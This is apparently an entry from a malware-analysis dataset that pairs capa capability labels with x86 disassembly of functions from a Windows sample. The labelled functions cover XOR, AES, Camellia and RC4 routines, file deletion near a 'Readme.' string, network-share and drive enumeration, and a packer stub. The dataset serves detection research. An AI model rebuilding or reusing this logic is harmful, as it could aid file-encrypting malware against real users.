joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4164f0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
mov eax, edx
mov dword [ebp - 0x14], ecx
push ebx
push esi
mov dword [ebp - 0x10], eax
movzx esi, byte [eax + 0xf]
mov dword [ebp - 0xc], esi
and esi, 0xf
shl esi, 4
add esi, dword [ebp + 8]
push edi
mov ecx, dword [esi + 8]
mov edx, dword [esi + 0xc]
mov ebx, dword [esi]
mov eax, ebx
mov edi, dword [esi + 4]
shrd ecx, edx, 4
shl eax, 0x1c
shr edx, 4
or edx, eax
mov dword [ebp - 0x1c], ecx
movzx eax, byte [esi + 8]
xor ecx, ecx
and eax, 0xf
mov dword [ebp - 0x18], edx
shrd ebx, edi, 4
shr edi, 4
xor ecx, ebx
movzx eax, word [eax*2 + 0x484600]
cdq
shl eax, 0x10
lea edx, [ebp - 0x24]
xor eax, edi
mov dword [ebp - 0x24], ecx
mov dword [ebp - 0x20], eax
mov eax, dword [ebp - 0xc]
and eax, 0xfffffff0
add eax, dword [ebp + 8]
push ecx
push eax
mov ecx, edx
call fcn.00407080
mov edi, 0xe
add esp, 8
mov dword [ebp - 0xc], edi
mov ebx, dword [ebp - 0x1c]
xor ecx, ecx
mov esi, dword [ebp - 0x24]
mov al, bl
and al, 0xf
mov edx, esi
mov byte [ebp - 5], al
mov eax, dword [ebp - 0x18]
shrd ebx, eax, 4
shl edx, 0x1c
shr eax, 4
or ecx, ebx
or edx, eax
mov dword [ebp - 0x1c], ecx
movzx eax, byte [ebp - 5]
mov ecx, dword [ebp - 0x20]
mov dword [ebp - 0x18], edx
shrd esi, ecx, 4
movzx eax, word [eax*2 + 0x484600]
cdq
shl eax, 0x10
xor edx, edx
shr ecx, 4
xor edx, esi
xor eax, ecx
mov dword [ebp - 0x24], edx
mov dword [ebp - 0x20], eax
lea edx, [ebp - 0x24]
mov eax, dword [ebp - 0x10]
push ecx
mov ecx, edx
movzx edi, byte [edi + eax]
mov eax, edi
and eax, 0xf
shl eax, 4
add eax, dword [ebp + 8]
push eax
call fcn.00407080
mov ebx, dword [ebp - 0x1c]
xor ecx, ecx
mov esi, dword [ebp - 0x24]
mov al, bl
and al, 0xf
mov edx, esi
mov byte [ebp - 5], al
add esp, 4
mov eax, dword [ebp - 0x18]
and edi, 0xfffffff0
add edi, dword [ebp + 8]
shrd ebx, eax, 4
shl edx, 0x1c
shr eax, 4
or ecx, ebx
or edx, eax
mov dword [ebp - 0x1c], ecx
movzx eax, byte [ebp - 5]
mov ecx, dword [ebp - 0x20]
mov dword [ebp - 0x18], edx
shrd esi, ecx, 4
movzx eax, word [eax*2 + 0x484600]
cdq
xor edx, edx
shr ecx, 4
xor edx, esi
shl eax, 0x10
mov dword [ebp - 0x24], edx
xor eax, ecx
lea edx, [ebp - 0x24]
mov dword [ebp - 0x20], eax
push edi
mov ecx, edx
call fcn.00407080
mov edi, dword [ebp - 0xc]
add esp, 8
sub edi, 1
mov dword [ebp - 0xc], edi
jns 0x416576
mov edx, dword [ebp - 0x14]
mov ecx, dword [ebp - 0x24]
mov eax, dword [ebp - 0x20]
bswap ecx
bswap eax
mov dword [edx], eax
mov eax, dword [ebp - 0x18]
mov dword [edx + 4], ecx
mov ecx, dword [ebp - 0x1c]
pop edi
bswap ecx
bswap eax
pop esi
mov dword [edx + 8], eax
mov dword [edx + 0xc], ecx
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x417c80
Capabilities:
Encrypt data using camellia

Disassembly:
push ebp
mov ebp, esp
push ebx
mov ebx, dword [ecx]
mov ecx, dword [ecx + 4]
xor ecx, dword [edx + 4]
mov eax, ecx
xor ebx, dword [edx]
shr eax, 0x18
push esi
movzx esi, byte [eax + 0x486250]
mov eax, ecx
shr eax, 0x10
movzx eax, al
shl esi, 8
movzx eax, byte [eax + 0x486150]
or esi, eax
mov eax, ecx
shr eax, 8
movzx eax, al
shl esi, 8
movzx eax, byte [eax + 0x485ef0]
or esi, eax
movzx eax, cl
shl esi, 8
movzx eax, byte [eax + 0x486050]
or esi, eax
mov eax, ebx
shr eax, 0x18
mov edx, esi
rol edx, 8
movzx ecx, byte [eax + 0x486050]
mov eax, ebx
shr eax, 0x10
movzx eax, al
shl ecx, 8
movzx eax, byte [eax + 0x486250]
or ecx, eax
mov eax, ebx
shr eax, 8
movzx eax, al
shl ecx, 8
movzx eax, byte [eax + 0x486150]
or ecx, eax
movzx eax, bl
shl ecx, 8
movzx eax, byte [eax + 0x485ef0]
or ecx, eax
xor edx, ecx
mov ecx, dword [ebp + 8]
mov eax, edx
rol eax, 0x10
xor esi, eax
mov eax, esi
ror eax, 8
xor edx, eax
mov eax, edx
ror eax, 8
xor eax, dword [ecx]
xor eax, esi
xor dword [ecx + 4], edx
pop esi
mov dword [ecx], eax
pop ebx
pop ebp
ret

Function at 0x418f60
Capabilities:
Encrypt data using aes
Reference aes constants

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
mov eax, dword [edx]
push esi
mov esi, dword [ebp + 8]
push edi
push 0x486490
push 0x486690
xor eax, dword [esi]
mov edi, ecx
mov dword [ebp + 8], eax
lea ecx, [ebp + 8]
mov eax, dword [edx + 4]
xor eax, dword [esi + 4]
mov dword [ebp - 4], eax
mov eax, dword [edx + 8]
xor eax, dword [esi + 8]
mov dword [ebp - 8], eax
mov eax, dword [edx + 0xc]
lea edx, [ebp - 4]
xor eax, dword [esi + 0xc]
push 0x486590
mov dword [ebp - 0xc], eax
lea eax, [ebp - 0xc]
push str.cw
push eax
lea eax, [ebp - 8]
push eax
call fcn.00418e70
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 8]
push eax
lea edx, [ebp - 4]
lea ecx, [ebp + 8]
call fcn.00418d00
mov ecx, dword [ebp + 0xc]
add esp, 0x20
mov eax, dword [ecx]
xor eax, dword [ebp + 8]
mov dword [edi], eax
mov eax, dword [ecx + 4]
xor eax, dword [ebp - 4]
mov dword [edi + 4], eax
mov eax, dword [ecx + 8]
xor eax, dword [ebp - 8]
mov dword [edi + 8], eax
mov eax, dword [ecx + 0xc]
xor eax, dword [ebp - 0xc]
mov dword [edi + 0xc], eax
pop edi
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x419000
Capabilities:
Encrypt data using aes
Reference aes constants

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
mov eax, dword [edx]
push esi
mov esi, dword [ebp + 8]
push edi
push 0x486590
push str.cw
xor eax, dword [esi]
mov edi, ecx
mov dword [ebp + 8], eax
lea ecx, [ebp + 8]
mov eax, dword [edx + 4]
xor eax, dword [esi + 4]
mov dword [ebp - 4], eax
mov eax, dword [edx + 8]
xor eax, dword [esi + 8]
mov dword [ebp - 8], eax
mov eax, dword [edx + 0xc]
lea edx, [ebp - 4]
xor eax, dword [esi + 0xc]
push 0x486490
mov dword [ebp - 0xc], eax
lea eax, [ebp - 0xc]
push 0x486690
push eax
lea eax, [ebp - 8]
push eax
call fcn.00418e70
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 8]
push eax
lea edx, [ebp - 4]
lea ecx, [ebp + 8]
call fcn.00418d00
mov ecx, dword [ebp + 0xc]
add esp, 0x20
mov eax, dword [ecx]
xor eax, dword [ebp + 8]
mov dword [edi], eax
mov eax, dword [ecx + 4]
xor eax, dword [ebp - 4]
mov dword [edi + 4], eax
mov eax, dword [ecx + 8]
xor eax, dword [ebp - 8]
mov dword [edi + 8], eax
mov eax, dword [ecx + 0xc]
xor eax, dword [ebp - 0xc]
mov dword [edi + 0xc], eax
pop edi
pop esi
mov esp, ebp
pop ebp
ret

Function at 0x4190a0
Capabilities:
Encode data using xor
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
movzx eax, byte [ebp + 0xc]
sub esp, 0x10
push ebx
mov bl, al
shr eax, 5
push esi
and bl, 0x1f
mov esi, edx
push edi
mov edi, ecx
and eax, 0x80000003
jns 0x4190c5
dec eax
or eax, 0xfffffffc
inc eax
mov ecx, dword [ebp + 8]
mov dl, bl
movzx eax, al
mov dword [ebp + 0xc], 4
mov ecx, dword [ecx + eax*4]
bswap ecx
mov dword [ebp - 4], ecx
mov cl, 0x20
sub cl, bl
neg dl
sbb dl, dl
and dl, cl
sub esi, edi
movzx ecx, dl
mov dword [ebp - 8], ecx
movzx ecx, bl
mov ebx, dword [ebp - 4]
mov dword [ebp - 0xc], ecx
mov dword [ebp - 0x10], esi
nop word [eax + eax]
mov ecx, dword [ebp + 8]
lea edi, [edi + 4]
inc al
and al, 3
movzx eax, al
mov esi, dword [ecx + eax*4]
mov ecx, dword [ebp - 8]
bswap esi
mov edx, esi
shr edx, cl
mov ecx, dword [ebp - 0xc]
shl ebx, cl
mov ecx, dword [ebp - 0x10]
or edx, ebx
bswap edx
mov ebx, esi
xor edx, dword [ecx + edi - 4]
sub dword [ebp + 0xc], 1
mov dword [edi - 4], edx
jne 0x419100
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x41b740
Capabilities:
Delete file

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x465bf8
mov eax, dword fs:[0]
push eax
sub esp, 0x64
mov eax, dword [0x4902b4]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, dword [ebp + 8]
mov ecx, esi
push 1
push 0xffffffffffffffff
push 0x46933c
call fcn.0041bb50
inc eax
mov ecx, esi
push eax
push 0
lea eax, [ebp - 0x58]
push eax
call fcn.0041be30
push 0x492c98
lea eax, [ebp - 0x70]
mov dword [ebp - 4], 0
push str.Readme.
push eax
call fcn.00419b70
push 0x469340
push eax
lea eax, [ebp - 0x40]
mov byte [ebp - 4], 1
push eax
call fcn.00419a40
add esp, 0x18
mov eax, dword [ebp - 0x5c]
mov byte [ebp - 4], 3
cmp eax, 8
jb 0x41b7d4
inc eax
lea ecx, [ebp - 0x70]
push eax
push dword [ebp - 0x70]
call fcn.0041b080
xor eax, eax
mov dword [ebp - 0x5c], 7
mov word [ebp - 0x70], ax
lea eax, [ebp - 0x40]
push eax
lea eax, [ebp - 0x58]
mov dword [ebp - 0x60], 0
push eax
lea eax, [ebp - 0x28]
push eax
call fcn.00419aa0
add esp, 0xc
lea eax, [ebp - 0x28]
cmp dword [ebp - 0x14], 8
cmovae eax, dword [ebp - 0x28]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
mov eax, dword [ebp - 0x14]
cmp eax, 8
jb 0x41b823
inc eax
lea ecx, [ebp - 0x28]
push eax
push dword [ebp - 0x28]
call fcn.0041b080
xor eax, eax
mov dword [ebp - 0x14], 7
mov word [ebp - 0x28], ax
mov eax, dword [ebp - 0x2c]
mov dword [ebp - 0x18], 0
cmp eax, 8
jb 0x41b84c
inc eax
lea ecx, [ebp - 0x40]
push eax
push dword [ebp - 0x40]
call fcn.0041b080
xor eax, eax
mov dword [ebp - 0x2c], 7
mov word [ebp - 0x40], ax
mov eax, dword [ebp - 0x44]
mov dword [ebp - 0x30], 0
cmp eax, 8
jb 0x41b875
inc eax
lea ecx, [ebp - 0x58]
push eax
push dword [ebp - 0x58]
call fcn.0041b080
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.00444b60
mov esp, ebp
pop ebp
ret
Function at 0x41bc50
Capabilities:
Move file

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x465c5e
mov eax, dword fs:[0]
push eax
sub esp, 0x38
mov eax, dword [0x4902b4]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, dword [ebp + 8]
lea ecx, [ebp - 0x28]
xor eax, eax
mov dword [ebp - 0x14], 7
push 0xffffffffffffffff
push eax
push esi
mov dword [ebp - 0x18], 0
mov word [ebp - 0x28], ax
call fcn.0041a980
push 1
push 0xffffffffffffffff
lea eax, [ebp - 0x2c]
mov dword [ebp - 4], 0
push eax
lea ecx, [ebp - 0x28]
mov dword [ebp - 0x2c], 0x2e
call fcn.0041bd70
cmp eax, 0xffffffff
je 0x41bd1f
push eax
push 0
lea eax, [ebp - 0x44]
push eax
lea ecx, [ebp - 0x28]
call fcn.0041be30
mov edi, eax
lea eax, [ebp - 0x28]
cmp eax, edi
je 0x41bd0a
mov eax, dword [ebp - 0x14]
cmp eax, 8
jb 0x41bced
inc eax
lea ecx, [ebp - 0x28]
push eax
push dword [ebp - 0x28]
call fcn.0041b080
xor eax, eax
mov dword [ebp - 0x14], 7
push edi
lea ecx, [ebp - 0x28]
mov dword [ebp - 0x18], 0
mov word [ebp - 0x28], ax
call fcn.00419d30
mov eax, dword [ebp - 0x30]
cmp eax, 8
jb 0x41bd1f
inc eax
lea ecx, [ebp - 0x44]
push eax
push dword [ebp - 0x44]
call fcn.0041b080
cmp dword [ebp - 0x14], 8
lea eax, [ebp - 0x28]
cmovae eax, dword [ebp - 0x28]
cmp dword [esi + 0x14], 8
jb 0x41bd32
mov esi, dword [esi]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_MoveFileW]
mov eax, dword [ebp - 0x14]
cmp eax, 8
jb 0x41bd4f
inc eax
lea ecx, [ebp - 0x28]
push eax
push dword [ebp - 0x28]
call fcn.0041b080
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.00444b60
mov esp, ebp
pop ebp
ret

Function at 0x421140
Capabilities:
Access peb ldr_data

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x46608a
mov eax, dword fs:[0]
push eax
sub esp, 0x20
mov eax, dword [0x4902b4]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, ecx
mov dword [ebp - 0x28], esi
mov edi, dword [ebp + 8]
push 0
mov dword [ebp - 0x2c], esi
call fcn.00429dae
mov dword [ebp - 4], 0
mov dword [esi + 4], 0
mov byte [esi + 8], 0
mov dword [esi + 0xc], 0
mov byte [esi + 0x10], 0
xor eax, eax
mov dword [esi + 0x14], 0
mov word [esi + 0x18], ax
mov dword [esi + 0x1c], eax
mov word [esi + 0x20], ax
mov dword [esi + 0x24], eax
mov byte [esi + 0x28], al
mov dword [esi + 0x2c], eax
mov byte [esi + 0x30], al
mov byte [ebp - 4], 6
test edi, edi
jne 0x421200
lea eax, [ebp - 0x20]
mov dword [ebp - 0x24], vtable.std::exception.0
push eax
lea eax, [ebp - 0x18]
mov dword [ebp - 0x18], str.bad_locale_name
xorps xmm0, xmm0
mov byte [ebp - 0x14], 1
push eax
movq qword [ebp - 0x20], xmm0
call fcn.00448015
add esp, 8
mov dword [ebp - 0x24], vtable.std::runtime_error.0
lea eax, [ebp - 0x24]
push 0x48c400
push eax
call fcn.00447244
push edi
push esi
call fcn.0042b00e
add esp, 8
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.00444b60
mov esp, ebp
pop ebp
ret 4
Function at 0x427270
Capabilities:
Enumerate network shares

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4668fb
mov eax, dword fs:[0]
push eax
mov eax, 0x4028
call fcn.00444d60
mov eax, dword [0x4902b4]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov eax, dword [ebp + 8]
lea ecx, [ebp - 0x401c]
push ecx
push eax
push 0
push 1
push 2
mov dword [ebp - 0x4014], 0xffffffff
mov dword [ebp - 0x4018], 0x4000
call sub.MPR.dll_WNetOpenEnumW
test eax, eax
jne 0x427447
nop dword [eax]
nop dword [eax + eax]
push 0x4000
lea eax, [ebp - 0x4010]
push 0
push eax
call fcn.00447c10
add esp, 0xc
mov dword [ebp - 0x4014], 0xffffffff
lea eax, [ebp - 0x4018]
mov dword [ebp - 0x4018], 0x4000
push eax
lea eax, [ebp - 0x4010]
push eax
lea eax, [ebp - 0x4014]
push eax
push dword [ebp - 0x401c]
call sub.MPR.dll_WNetEnumResourceW
test eax, eax
jne 0x42743c
xor edi, edi
cmp dword [ebp - 0x4014], edi
jbe 0x4272e0
lea esi, [ebp - 0x3ffc]
cmp dword [esi - 0xc], 3
jne 0x427410
mov edx, dword [esi]
xor eax, eax
mov dword [ebp - 0x4020], 7
mov dword [ebp - 0x4024], 0
mov word [ebp - 0x4034], ax
cmp word [edx], ax
je 0x427384
mov eax, edx
lea ebx, [eax + 2]
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x427375
sub eax, ebx
sar eax, 1
push eax
push edx
lea ecx, [ebp - 0x4034]
call fcn.00425c70
lea eax, [ebp - 0x4034]
mov dword [ebp - 4], 0
push eax
call fcn.00422970
mov eax, dword [ebp - 0x4020]
add esp, 4
mov dword [ebp - 4], 0xffffffff
cmp eax, 8
jb 0x4273f3
mov ecx, dword [ebp - 0x4034]
inc eax
cmp eax, 0x7fffffff
ja 0x427437
add eax, eax
cmp eax, 0x1000
jb 0x4273ea
test cl, 0x1f
jne 0x427437
mov eax, dword [ecx - 4]
cmp eax, ecx
jae 0x427437
sub ecx, eax
cmp ecx, 4
jb 0x427437
cmp ecx, 0x23
ja 0x427437
mov ecx, eax
push ecx
call fcn.00444b4d
add esp, 4
xor eax, eax
mov dword [ebp - 0x4020], 7
mov dword [ebp - 0x4024], 0
mov word [ebp - 0x4034], ax
test byte [esi - 8], 2
je 0x427422
lea eax, [esi - 0x14]
push eax
call fcn.00427270
add esp, 4
inc edi
add esi, 0x20
cmp edi, dword [ebp - 0x4014]
jb 0x427342
jmp 0x4272e0
call fcn.0044a9c1
push dword [ebp - 0x401c]
call sub.MPR.dll_WNetCloseEnum
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.00444b60
mov esp, ebp
pop ebp
ret
Function at 0x427b70
Capabilities:
Get disk information

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x466a00
mov eax, dword fs:[0]
push eax
sub esp, 0x38
mov eax, dword [0x4902b4]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov eax, dword [ebp + 8]
mov dword [ebp - 0x2c], eax
call dword [sym.imp.KERNEL32.dll_GetLogicalDrives]
mov edi, eax
test edi, edi
je 0x427c5b
mov bl, 0x41
xor esi, esi
mov eax, 1
mov ecx, esi
shl eax, cl
test edi, eax
je 0x427c4f
movsx ax, bl
mov dword [ebp - 0x30], 7
mov dword [ebp - 0x34], 1
mov word [ebp - 0x44], ax
xor eax, eax
mov word [ebp - 0x42], ax
mov dword [ebp - 4], eax
lea eax, [ebp - 0x44]
push 0x46ad68
push eax
lea eax, [ebp - 0x28]
push eax
call fcn.00419a40
add esp, 0xc
mov eax, dword [ebp - 0x30]
mov byte [ebp - 4], 2
cmp eax, 8
jb 0x427c13
inc eax
lea ecx, [ebp - 0x44]
push eax
push dword [ebp - 0x44]
call fcn.0041b080
mov ecx, dword [ebp - 0x2c]
xor eax, eax
mov word [ebp - 0x44], ax
lea eax, [ebp - 0x28]
push eax
mov dword [ebp - 0x30], 7
mov dword [ebp - 0x34], 0
call fcn.004288e0
mov eax, dword [ebp - 0x14]
mov dword [ebp - 4], 0xffffffff
cmp eax, 8
jb 0x427c4f
inc eax
lea ecx, [ebp - 0x28]
push eax
push dword [ebp - 0x28]
call fcn.0041b080
inc bl
inc esi
cmp bl, 0x5a
jle 0x427bb5
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.00444b60
mov esp, ebp
pop ebp
ret
Function at 0x42d1ec
Capabilities:
Write file on windows

Disassembly:
push 0x20
mov eax, 0x466f59
call fcn.004455ed
mov ebx, ecx
cmp dword [ebx + 0x38], 0
je 0x42d309
cmp byte [ebx + 0x3e], 0
je 0x42d309
mov eax, dword [ebx]
mov edi, 0xffff
push edi
mov esi, dword [eax + 0xc]
mov ecx, esi
call fcn.0044558d
mov ecx, ebx
call esi
movzx eax, ax
cmp di, ax
sete al
test al, al
je 0x42d238
xor al, al
jmp 0x42d30b
xor eax, eax
mov dword [ebp - 0x14], 0xf
push eax
push 8
lea ecx, [ebp - 0x28]
mov dword [ebp - 0x18], eax
mov byte [ebp - 0x28], al
call fcn.00425ba0
and dword [ebp - 4], 0
mov ecx, dword [ebp - 0x28]
mov eax, dword [ebp - 0x14]
mov edx, ecx
cmp eax, 0x10
jae 0x42d268
lea edx, [ebp - 0x28]
mov ecx, edx
mov edi, dword [ebx + 0x38]
lea eax, [ebp - 0x2c]
push eax
mov eax, dword [ebp - 0x18]
add eax, edx
mov esi, dword [edi]
push eax
push ecx
lea eax, [ebx + 0x40]
mov ecx, dword [esi + 0x20]
push eax
call fcn.0044558d
mov ecx, edi
call dword [esi + 0x20]
sub eax, 0
je 0x42d29d
sub eax, 1
je 0x42d2a1
dec eax
sub eax, 1
je 0x42d2f7
xor bl, bl
jmp 0x42d2f9
mov byte [ebx + 0x3e], 0
mov eax, dword [ebp - 0x14]
mov ecx, dword [ebp - 0x28]
mov edx, ecx
cmp eax, 0x10
jae 0x42d2b1
lea edx, [ebp - 0x28]
mov esi, dword [ebp - 0x2c]
sub esi, edx
je 0x42d2d9
cmp eax, 0x10
jae 0x42d2c0
lea ecx, [ebp - 0x28]
push dword [ebx + 0x4c]
push esi
push 1
push ecx
call fcn.00453a86
add esp, 0x10
cmp esi, eax
jne 0x42d299
mov eax, dword [ebp - 0x14]
mov ecx, dword [ebp - 0x28]
cmp byte [ebx + 0x3e], 0
je 0x42d2f7
test esi, esi
jne 0x42d25c
push esi
push 8
lea ecx, [ebp - 0x28]
call fcn.0041a460
jmp 0x42d256
mov bl, 1
push 0
push 1
lea ecx, [ebp - 0x28]
call fcn.0042b9f4
mov al, bl
jmp 0x42d30b
mov al, 1
call fcn.004455a8
ret
Function at 0x42d7bb
Capabilities:
Write file on windows

Disassembly:
push 0x30
mov eax, 0x467074
call fcn.004455ed
mov esi, ecx
mov dword [ebp - 0x30], esi
mov edi, dword [ebp + 8]
mov ebx, 0xffff
cmp bx, di
jne 0x42d7e0
xor eax, eax
jmp 0x42d959
mov eax, dword [esi + 0x20]
mov ecx, dword [eax]
test ecx, ecx
je 0x42d80c
mov edx, dword [esi + 0x30]
mov eax, dword [edx]
lea eax, [ecx + eax*2]
cmp ecx, eax
jae 0x42d80c
dec dword [edx]
mov ax, di
mov edx, dword [esi + 0x20]
mov esi, dword [edx]
lea ecx, [esi + 2]
mov dword [edx], ecx
mov word [esi], di
jmp 0x42d959
cmp dword [esi + 0x4c], 0
je 0x42d956
mov ecx, esi
call fcn.0042d3e5
xor eax, eax
cmp dword [esi + 0x38], eax
jne 0x42d83f
push dword [esi + 0x4c]
push edi
call fcn.0042ce1c
pop ecx
pop ecx
test al, al
je 0x42d956
movzx ebx, di
jmp 0x42d956
push eax
push 8
lea ecx, [ebp - 0x28]
mov word [ebp - 0x2c], di
mov dword [ebp - 0x14], 0xf
mov dword [ebp - 0x18], eax
mov byte [ebp - 0x28], al
call fcn.00425ba0
and dword [ebp - 4], 0
lea eax, [esi + 0x40]
mov dword [ebp - 0x34], eax
mov ecx, dword [ebp - 0x28]
mov eax, dword [ebp - 0x14]
mov edx, ecx
cmp eax, 0x10
jae 0x42d877
lea edx, [ebp - 0x28]
mov ecx, edx
mov edi, dword [esi + 0x38]
lea eax, [ebp - 0x38]
push eax
mov eax, dword [ebp - 0x18]
add eax, edx
mov esi, dword [edi]
push eax
push ecx
lea eax, [ebp - 0x3c]
mov ecx, dword [esi + 0x1c]
push eax
lea eax, [ebp - 0x2a]
push eax
lea eax, [ebp - 0x2c]
push eax
push dword [ebp - 0x34]
call fcn.0044558d
mov ecx, edi
call dword [esi + 0x1c]
test eax, eax
js 0x42d94a
cmp eax, 1
jg 0x42d925
mov eax, dword [ebp - 0x14]
mov ecx, dword [ebp - 0x28]
mov edx, ecx
cmp eax, 0x10
jae 0x42d8c0
lea edx, [ebp - 0x28]
mov edi, dword [ebp - 0x38]
sub edi, edx
je 0x42d8ed
cmp eax, 0x10
jae 0x42d8cf
lea ecx, [ebp - 0x28]
mov esi, dword [ebp - 0x30]
push dword [esi + 0x4c]
push edi
push 1
push ecx
call fcn.00453a86
add esp, 0x10
cmp edi, eax
jne 0x42d920
mov eax, dword [ebp - 0x14]
mov ecx, dword [ebp - 0x28]
jmp 0x42d8f0
mov esi, dword [ebp - 0x30]
lea edx, [ebp - 0x2c]
mov byte [esi + 0x3e], 1
cmp dword [ebp - 0x3c], edx
jne 0x42d91a
test edi, edi
jne 0x42d86b
cmp dword [ebp - 0x18], 0x20
jae 0x42d944
push edi
push 8
lea ecx, [ebp - 0x28]
call fcn.0041a460
jmp 0x42d865
mov eax, dword [ebp + 8]
movzx ebx, ax
movzx ebx, bx
jmp 0x42d944
cmp eax, 3
jne 0x42d94a
mov eax, dword [ebp - 0x30]
push dword [eax + 0x4c]
push dword [ebp - 0x2c]
call fcn.0042ce1c
pop ecx
pop ecx
test al, al
je 0x42d944
mov eax, dword [ebp + 8]
movzx ebx, ax
movzx eax, bx
movzx ebx, ax
push 0
push 1
lea ecx, [ebp - 0x28]
call fcn.0042b9f4
mov ax, bx
call fcn.004455a8
ret 4

Function at 0x4308a0
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push dword [ebp + 0x1c]
push dword [ebp + 0x18]
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_CreateThread]
pop ebp
ret

Function at 0x4588c3
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.00458586

Function at 0x4588ce
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.00458707
Function at 0x45f5c0
Capabilities:
Set environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.0045f280
Function at 0x40adc0
Capabilities:
Clear file content

Disassembly:
mov eax, 0x1014
push ebp
mov ebp, esp
call fcn.00404730
push ebx
push esi
push edi
mov ebx, dword [ebp + 8]
mov dword [ebp - 4], 0
mov eax, dword [0x4170bc]
cmp ebx, eax
jae 0x40adfb
mov eax, ebx
and eax, 0x1f
mov edx, ebx
sar edx, 5
mov edx, dword [edx*4 + 0x4170c0]
test byte [edx + eax*8 + 4], 1
jne 0x40ae0d
or eax, 0xffffffff
mov dword [0x415c84], 9
jmp 0x40af32
push 1
push 0
push ebx
call fcn.00409fd0
add esp, 0xc
mov dword [ebp - 0xc], eax
cmp eax, 0xffffffff
je 0x40ae37
push 2
push 0
push ebx
call fcn.00409fd0
mov dword [ebp - 8], eax
add esp, 0xc
cmp eax, 0xffffffff
jne 0x40ae3f
or eax, 0xffffffff
jmp 0x40af32
mov eax, dword [ebp + 0xc]
mov esi, eax
sub esi, dword [ebp - 8]
test esi, esi
jle 0x40aee4
mov ecx, 0x1000
xor eax, eax
lea edx, [ebp - 0x1010]
push edi
mov edi, edx
rep stosb byte es:[edi], al
pop edi
mov eax, edx
push 0x8000
push ebx
call fcn.0040b330
add esp, 8
mov dword [ebp - 0x10], eax
mov eax, esi
cmp eax, 0x1000
jb 0x40ae8a
mov dword [ebp - 0x1014], 0x1000
jmp 0x40ae92
mov eax, esi
mov dword [ebp - 0x1014], eax
mov eax, dword [ebp - 0x1014]
push eax
lea eax, [ebp - 0x1010]
push eax
push ebx
call fcn.004086d0
mov edi, eax
add esp, 0xc
cmp eax, 0xffffffff
jne 0x40aecb
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 5
jne 0x40aec5
mov dword [0x415c84], 0xd
or dword [ebp - 4], 0xffffffff
jmp 0x40aed5
mov eax, esi
sub eax, edi
test eax, eax
mov esi, eax
jg 0x40ae75
mov eax, dword [ebp - 0x10]
push eax
push ebx
call fcn.0040b330
add esp, 8
jmp 0x40af20
test esi, esi
jge 0x40af20
push 0
mov eax, dword [ebp + 0xc]
push eax
push ebx
call fcn.00409fd0
add esp, 0xc
push ebx
call fcn.00408b00
pop ecx
push eax
call dword [sym.imp.KERNEL32.dll_SetEndOfFile]
test eax, eax
setne al
and eax, 1
dec eax
cmp eax, 0xffffffff
mov dword [ebp - 4], eax
jne 0x40af20
mov dword [0x415c84], 0xd
push 0
mov eax, dword [ebp - 0xc]
push eax
push ebx
call fcn.00409fd0
add esp, 0xc
mov eax, dword [ebp - 4]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x433005
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
mov eax, section..text
nop
push 4
nop
nop
nop
pop edi
nop
nop
nop
nop
nop
nop
nop
nop
cmp eax, 0
nop
je 0x433072
nop
nop
nop
mov ebx, 0x40de38
nop
nop
nop
nop
mov ecx, ebx
nop
nop
nop
sub ecx, eax
nop
nop
nop
xor edx, edx
nop
nop
nop
push eax
nop
nop
nop
nop
nop
nop
mov eax, ecx
nop
nop
nop
div edi
nop
nop
nop
nop
nop
nop
nop
nop
nop
xchg ecx, eax
nop
